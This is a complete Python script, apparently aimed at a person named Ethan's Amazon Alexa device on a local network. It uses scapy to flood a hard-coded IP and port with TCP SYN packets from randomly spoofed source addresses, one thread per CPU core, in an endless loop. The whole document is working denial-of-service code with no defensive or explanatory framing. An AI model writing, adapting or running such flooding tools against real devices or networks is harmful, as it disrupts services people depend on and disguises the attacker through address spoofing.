Syn Flood Ethan's Alexa

syn_flood_alexa.py

#!/usr/bin/env python

import sys
import random
import logging
import threading
import multiprocessing
import scapy.all as scapy

logging.getLogger('scapy.runtime').setLevel(logging.ERROR)
cpu_count = multiprocessing.cpu_count()
total_packets = 0

def send_syn_packet(ip, port):
  ip_layer = scapy.IP()
  tcp_layer = scapy.TCP()

  ip_layer.src = '%i.%i.%i.%i' % (
    random.randint(1, 254),
    random.randint(1, 254),
    random.randint(1, 254),
    random.randint(1, 254)
  )

  tcp_layer.sport = random.randint(1, 65535)
  tcp_layer.flags = 'S'
  ip_layer.dst = ip
  tcp_layer.dport = port

  scapy.send(ip_layer / tcp_layer, verbose=0)

def syn_flood(ip, port):
  global total_packets
  while True:
    send_syn_packet(ip, port)
    total_packets += 1
    if total_packets % 100 == 0:
      print('Total packets sent: %i' % total_packets)

def main():
  alexa_ip = '192.168.1.46' # todo: utilize nmap to make this dynamic
  alexa_port = 8080
  scapy.conf.iface = 'en0'  # todo: support inputs
  
  print('Syn Flooding Alexa...')
  
  for i in range(cpu_count):
    threading.Thread(
      target=syn_flood,
      args=(alexa_ip, alexa_port)
    ).start()

if __name__ == '__main__':
  main()